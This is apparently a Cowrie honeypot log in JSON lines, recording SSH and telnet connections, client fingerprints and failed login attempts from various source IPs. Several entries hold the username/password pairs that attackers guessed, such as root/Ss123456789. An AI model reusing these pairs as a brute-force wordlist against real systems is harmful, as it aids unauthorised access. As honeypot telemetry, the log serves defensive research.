{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d8:80:67:ae:ce:b3:65:33:46:e6:73:a1:97:7f:3a:47","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC5KRRabw4toX6orRugdliVdRCGPX0o+GpjZ9XnhvGhIt8uCD9gAOVQikVC22S9mdehriToMDiQNQXVDRnaSN+FwQ6GQf5FxWI9TTtHJ6ko5Nl4xQJ93rvr28eZIbvT1ZWlYJy7iJOl6WUM/koQItEgfMtoT1zk7wwL9aZiw/SqtpQUKtDY5PDYXvHlRZ7fBLw8jYQhkc7yk/UVYqsmenwu7jURxJ7C9sFSWzCVWiNXMczT932JKHXFTjsLS/ve19H6l5sBAB6Nrj7nFqiZFcFRA4dHs1oBdWNLjk70a6u6YWahZoaU8xHEIU21l/1eY5SRBHtLQtqIwsAxz1pQdFTJ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:19:59.207920Z","src_ip":"198.46.134.148","session":"96614b8dfcc4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0f:0b:59:fc:1c:78:24:b3:05:36:40:e9:db:1c:a4:e7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCjBuYssaHi7O/hhi0tox6Uprn+Huem5H7RwwTg8dNOvhtom/NPpzj+9SeUGueDTTj8SMAB1OhSMlU+tI2TinbxAGwBkWBs8DYt7dw/B/yUxcb4SpIiLJqBgG6HfBx5Ms+kqOYbGPVK6iNzbRI/RBQQvWUFWX68KEoyQBHXChD0gsjKvsm+17UI0AxwptsII7JiKQS3QDAsEARHAgQlpYKq0mmR56WA7XUirXnPGiZRomlybT6mduyo9ToclufwtOH5EzKAd3w314JAyb5VhStfVkHDoqfA2+A+CIOBCJDEEp8wHdGujhnisD/cBKtqlIr5f3sTvDe0wtbIN3CmDJCZ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 0f:0b:59:fc:1c:78:24:b3:05:36:40:e9:db:1c:a4:e7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:19:59.237042Z","src_ip":"198.46.134.148","session":"96614b8dfcc4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0f:0b:59:fc:1c:78:24:b3:05:36:40:e9:db:1c:a4:e7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCjBuYssaHi7O/hhi0tox6Uprn+Huem5H7RwwTg8dNOvhtom/NPpzj+9SeUGueDTTj8SMAB1OhSMlU+tI2TinbxAGwBkWBs8DYt7dw/B/yUxcb4SpIiLJqBgG6HfBx5Ms+kqOYbGPVK6iNzbRI/RBQQvWUFWX68KEoyQBHXChD0gsjKvsm+17UI0AxwptsII7JiKQS3QDAsEARHAgQlpYKq0mmR56WA7XUirXnPGiZRomlybT6mduyo9ToclufwtOH5EzKAd3w314JAyb5VhStfVkHDoqfA2+A+CIOBCJDEEp8wHdGujhnisD/cBKtqlIr5f3sTvDe0wtbIN3CmDJCZ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:19:59.239904Z","src_ip":"198.46.134.148","session":"96614b8dfcc4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"dc:f7:92:b7:36:8b:8f:12:61:29:11:b6:60:c9:27:e0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDHbJacXMq1swAhmDIpduiY2LNNgCkzIzxWWDkKbF3fgwlkyM2rXiMbtqwR5AtE9r+FrcvefBuspzENjVsiNORPfMnZATSqraN4NfKvCVY9PGY2MuIBx23v7OOO1tLqwe9CITC03xbsLOFj8EFDkjVmqRhUJ3AbRvIInlX+puoyD3eDvy1S5Yz1+HvICBMyFBh1NHJDS8Uv4SOyVlICot8sH6etJSmUx7E9DWjxkOyBXUksnsA89k4Uq7CFb9J2ijvGS1QsfnQu8vqZCoaEf7TURMJrQYaPaHGVWnbqhWgvvPS7uXvoszsWylHO8+QZy/43c6OBleMvOk/xUfRYaUSp","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint dc:f7:92:b7:36:8b:8f:12:61:29:11:b6:60:c9:27:e0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:19:59.269511Z","src_ip":"198.46.134.148","session":"96614b8dfcc4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"dc:f7:92:b7:36:8b:8f:12:61:29:11:b6:60:c9:27:e0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDHbJacXMq1swAhmDIpduiY2LNNgCkzIzxWWDkKbF3fgwlkyM2rXiMbtqwR5AtE9r+FrcvefBuspzENjVsiNORPfMnZATSqraN4NfKvCVY9PGY2MuIBx23v7OOO1tLqwe9CITC03xbsLOFj8EFDkjVmqRhUJ3AbRvIInlX+puoyD3eDvy1S5Yz1+HvICBMyFBh1NHJDS8Uv4SOyVlICot8sH6etJSmUx7E9DWjxkOyBXUksnsA89k4Uq7CFb9J2ijvGS1QsfnQu8vqZCoaEf7TURMJrQYaPaHGVWnbqhWgvvPS7uXvoszsWylHO8+QZy/43c6OBleMvOk/xUfRYaUSp","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:19:59.273083Z","src_ip":"198.46.134.148","session":"96614b8dfcc4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:19:59.303135Z","src_ip":"198.46.134.148","session":"96614b8dfcc4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.84.96","src_port":38246,"dst_ip":"159.203.135.109","dst_port":22,"session":"186da58181b1","protocol":"ssh","message":"New connection: 159.65.84.96:38246 (159.203.135.109:22) [session: 186da58181b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:20:01.862274Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:20:01.938234Z","src_ip":"159.65.84.96","session":"186da58181b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"38.4","message":"Connection lost after 38.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:20:04.629972Z","src_ip":"162.144.88.94","session":"f34926ee1b5b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":51750,"dst_ip":"10.17.0.5","dst_port":22,"session":"250429c0f3c7","protocol":"ssh","message":"New connection: 51.250.105.222:51750 (10.17.0.5:22) [session: 250429c0f3c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:20:13.681853Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:20:13.685781Z","src_ip":"51.250.105.222","session":"250429c0f3c7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.49.202","src_port":42260,"dst_ip":"10.17.0.5","dst_port":22,"session":"09a3e8e2adcc","protocol":"ssh","message":"New connection: 43.134.49.202:42260 (10.17.0.5:22) [session: 09a3e8e2adcc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:20:13.702059Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:20:13.706429Z","src_ip":"43.134.49.202","session":"09a3e8e2adcc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:20:13.830405Z","src_ip":"51.250.105.222","session":"250429c0f3c7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:20:13.950026Z","src_ip":"43.134.49.202","session":"09a3e8e2adcc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:20:14.209257Z","src_ip":"51.250.105.222","session":"250429c0f3c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"letters","password":"letters123","message":"login attempt [letters/letters123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:20:14.959057Z","src_ip":"43.134.49.202","session":"09a3e8e2adcc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:20:15.338078Z","src_ip":"51.250.105.222","session":"250429c0f3c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:20:16.206923Z","src_ip":"43.134.49.202","session":"09a3e8e2adcc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":36324,"dst_ip":"159.203.135.109","dst_port":23,"session":"abe91060d3aa","protocol":"telnet","message":"New connection: 107.6.151.170:36324 (159.203.135.109:23) [session: abe91060d3aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:20:20.057308Z"}
{"eventid":"cowrie.session.closed","duration":32.12961673736572,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:20:29.869987Z","src_ip":"107.6.151.170","session":"7f0d03835a5d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.176","src_port":34328,"dst_ip":"10.17.0.5","dst_port":22,"session":"951a22222690","protocol":"ssh","message":"New connection: 91.92.40.176:34328 (10.17.0.5:22) [session: 951a22222690]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:20:41.480975Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:20:41.485004Z","src_ip":"91.92.40.176","session":"951a22222690","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:20:41.565981Z","src_ip":"91.92.40.176","session":"951a22222690","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftp","password":"qwerty","message":"login attempt [ftp/qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:20:41.891491Z","src_ip":"91.92.40.176","session":"951a22222690","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:20:43.344097Z","src_ip":"91.92.40.176","session":"951a22222690","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.19574689865112,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:20:58.252933Z","src_ip":"107.6.151.170","session":"abe91060d3aa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"59.38.131.149","src_port":53422,"dst_ip":"159.203.135.109","dst_port":22,"session":"b3708bf1e5d5","protocol":"ssh","message":"New connection: 59.38.131.149:53422 (159.203.135.109:22) [session: b3708bf1e5d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:21:41.619338Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:21:41.622924Z","src_ip":"59.38.131.149","session":"b3708bf1e5d5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:21:41.865430Z","src_ip":"59.38.131.149","session":"b3708bf1e5d5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Ss123456789","message":"login attempt [root/Ss123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:21:42.866482Z","src_ip":"59.38.131.149","session":"b3708bf1e5d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:21:44.103301Z","src_ip":"59.38.131.149","session":"b3708bf1e5d5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.49.202","src_port":34098,"dst_ip":"10.17.0.5","dst_port":22,"session":"670dcf397896","protocol":"ssh","message":"New connection: 43.134.49.202:34098 (10.17.0.5:22) [session: 670dcf397896]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:21:58.865042Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:21:58.868577Z","src_ip":"43.134.49.202","session":"670dcf397896","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:21:59.112695Z","src_ip":"43.134.49.202","session":"670dcf397896","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mining","password":"mining123","message":"login attempt [mining/mining123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:22:00.127123Z","src_ip":"43.134.49.202","session":"670dcf397896","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:22:01.375303Z","src_ip":"43.134.49.202","session":"670dcf397896","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":60616,"dst_ip":"159.203.135.109","dst_port":22,"session":"c25156f2ac6b","protocol":"ssh","message":"New connection: 194.59.206.2:60616 (159.203.135.109:22) [session: c25156f2ac6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:22:05.542412Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:22:05.585087Z","src_ip":"194.59.206.2","session":"c25156f2ac6b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:22:05.647742Z","src_ip":"194.59.206.2","session":"c25156f2ac6b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:22:05.821658Z","src_ip":"194.59.206.2","session":"c25156f2ac6b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.49","src_port":43858,"dst_ip":"10.17.0.5","dst_port":22,"session":"0f60636b73b3","protocol":"ssh","message":"New connection: 92.118.39.49:43858 (10.17.0.5:22) [session: 0f60636b73b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:22:41.672493Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:22:41.675972Z","src_ip":"92.118.39.49","session":"0f60636b73b3","protocol":"ssh"}
